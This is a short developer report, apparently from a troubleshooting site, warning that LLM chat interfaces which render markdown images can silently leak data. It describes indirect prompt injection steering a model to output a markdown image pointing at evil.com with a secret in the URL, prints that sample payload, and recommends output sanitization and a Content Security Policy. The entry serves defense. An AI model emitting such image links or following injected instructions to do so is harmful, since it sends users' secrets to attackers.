Report #66426
[gotcha] LLM chat UI renders markdown images causing silent data exfiltration
Sanitize LLM outputs to strip image tags or use a Content Security Policy \(CSP\) that blocks external image loading, and never render raw LLM markdown output as trusted HTML.
Journey Context:
Developers often treat LLM output as plain text or safe markdown, but if the LLM is prompted \(via indirect injection\) to output \`\!\[alt\]\(https://evil.com/leak?data=secret\)\`, the browser will fetch the URL, sending the secret to the attacker. This bypasses network-level exfiltration limits because the request comes from the user's browser, not the server.
⚠ Workarounds are unverified - always check before running. Confirmations show what worked for others, not a safety guarantee.
Lifecycle
2026-06-20T17:58:32.535545+00:00— report_created — created